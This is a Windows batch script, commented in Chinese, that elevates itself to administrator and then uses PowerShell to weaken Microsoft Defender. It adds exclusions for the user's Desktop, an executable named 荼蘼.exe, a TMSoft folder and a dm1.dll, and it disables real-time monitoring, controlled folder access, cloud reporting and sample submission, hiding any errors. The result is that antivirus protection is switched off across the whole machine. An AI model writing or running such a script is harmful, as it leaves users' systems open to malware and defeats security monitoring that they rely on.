@echo off
chcp 65001 >nul 2>&1
setlocal EnableDelayedExpansion

:: ============================================
:: 自动请求管理员权限（避免手动右键以管理员运行）
:: ============================================
net session >nul 2>&1
if %errorlevel% neq 0 (
    powershell -NoProfile -Command "Start-Process '%~f0' -Verb runAs"
    exit /b
)

:: ============================================
:: 配置区域 - 根据实际情况修改以下变量
:: ============================================
set "DESKTOP_PATH=%USERPROFILE%\Desktop"
set "DESKTOP_FILE=%DESKTOP_PATH%\荼蘼.exe"
set "SOFT_PATH_FILE=C:\YourApp\荼蘼.exe"
set "TM_SOFT_PATH=C:\Program Files\TMSoft"
set "DM_DLL_FILE=%TM_SOFT_PATH%\DmDll\dm1.dll"

:: ============================================
:: 构建并执行合并后的 PowerShell 命令
:: ============================================
powershell -NoProfile -NonInteractive -Command ^
  "$paths = @('%DESKTOP_PATH%', '%DESKTOP_FILE%', '%SOFT_PATH_FILE%', '%TM_SOFT_PATH%', '%DM_DLL_FILE%');" ^
  "$procs = @('荼蘼', '荼蘼.exe');" ^
  "foreach ($p in $paths) { if ($p -and (Test-Path $p -ErrorAction SilentlyContinue)) { Add-MpPreference -ExclusionPath $p -ErrorAction SilentlyContinue } };" ^
  "foreach ($n in $procs) { Add-MpPreference -ExclusionProcess $n -ErrorAction SilentlyContinue };" ^
  "Set-MpPreference -EnableControlledFolderAccess Disabled -ErrorAction SilentlyContinue;" ^
  "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue;" ^
  "Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue;" ^
  "Set-MpPreference -SubmitSamplesConsent 0 -ErrorAction SilentlyContinue;" ^
  "Write-Host 'Defender exclusion settings applied successfully.' -ForegroundColor Green"

echo.
echo 操作完成，按任意键退出...
pause >nul
endlocal
exit /b 0